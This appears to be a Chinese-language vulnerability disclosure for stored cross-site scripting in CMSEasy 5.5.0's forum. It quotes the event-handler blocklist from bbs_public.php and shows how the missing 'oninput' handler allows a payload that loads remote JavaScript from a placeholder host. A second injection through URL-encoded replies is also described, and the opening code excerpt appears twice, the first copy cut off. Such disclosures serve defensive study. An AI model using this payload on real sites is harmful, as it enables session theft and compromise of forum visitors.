### 简要描述： cmseasy储存型xss 版本 5.5.0.20140420 ### 详细说明： /bbs 论坛发帖处。 第一处xss。 bbs_public.php 56行 ``` $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste',...
### 简要描述： cmseasy储存型xss 版本 5.5.0.20140420 ### 详细说明： /bbs 论坛发帖处。 第一处xss。 bbs_public.php 56行 ``` $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); ``` 没有过滤 oninput（HTML5 标准事件。输入框的值变动时触发。） 场景模拟： [<img src="https://images.seebug.org/upload/201405/15031840261b8cb26df981fafbdce8f81defc113.jpg" alt="c1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/15031840261b8cb26df981fafbdce8f81defc113.jpg) [<img src="https://images.seebug.org/upload/201405/150318591ddb51eb2731266a9281b76e1fc86a0c.jpg" alt="c2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/150318591ddb51eb2731266a9281b76e1fc86a0c.jpg) 回复时 输入验证码时，此时输入框发生变动。xss触发。引用远程js姿势为： ``` <body oninput=a="scr"+"ipt";document.body.appendChild(document.createElement(a)).src='//xxx.xxx'> ``` 第二处xss。。 无意中发现的。。回复一篇帖子时。(注意是回复)， url编码你的代码，神奇的一幕就会发生。。 场景模拟： [<img src="https://images.seebug.org/upload/201405/150334420771f7de85fa26f8cd28f37ae16cc0dd.jpg" alt="c4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/150334420771f7de85fa26f8cd28f37ae16cc0dd.jpg) [<img src="https://images.seebug.org/upload/201405/150334211af19a734d03b3716993b1e2d8901a91.jpg" alt="c5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/150334211af19a734d03b3716993b1e2d8901a91.jpg) [<img src="https://images.seebug.org/upload/201405/150334583c98a7e873f4564055fac5aef2e832b6.jpg" alt="c6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/150334583c98a7e873f4564055fac5aef2e832b6.jpg) 还原了。。神奇吧。。 ............................................................................... ### 漏洞证明： [<img src="https://images.seebug.org/upload/201405/150334211af19a734d03b3716993b1e2d8901a91.jpg" alt="c5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/150334211af19a734d03b3716993b1e2d8901a91.jpg) [<img src="https://images.seebug.org/upload/201405/150318591ddb51eb2731266a9281b76e1fc86a0c.jpg" alt="c2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/150318591ddb51eb2731266a9281b76e1fc86a0c.jpg)
